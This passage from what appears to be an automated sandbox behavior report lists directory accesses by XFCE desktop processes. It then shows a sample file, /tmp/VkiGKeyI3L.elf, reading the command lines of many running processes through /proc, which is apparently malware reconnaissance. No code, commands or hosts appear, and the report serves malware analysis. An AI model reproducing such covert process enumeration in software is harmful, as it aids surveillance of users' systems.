Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5519)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5541)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5541)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5541)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5541)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5551)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5551)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5551)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5551)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5419/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3773/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/5314/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1400/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/3424/cmdline	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	File opened: /proc/2972/cmdline	Jump to behavior
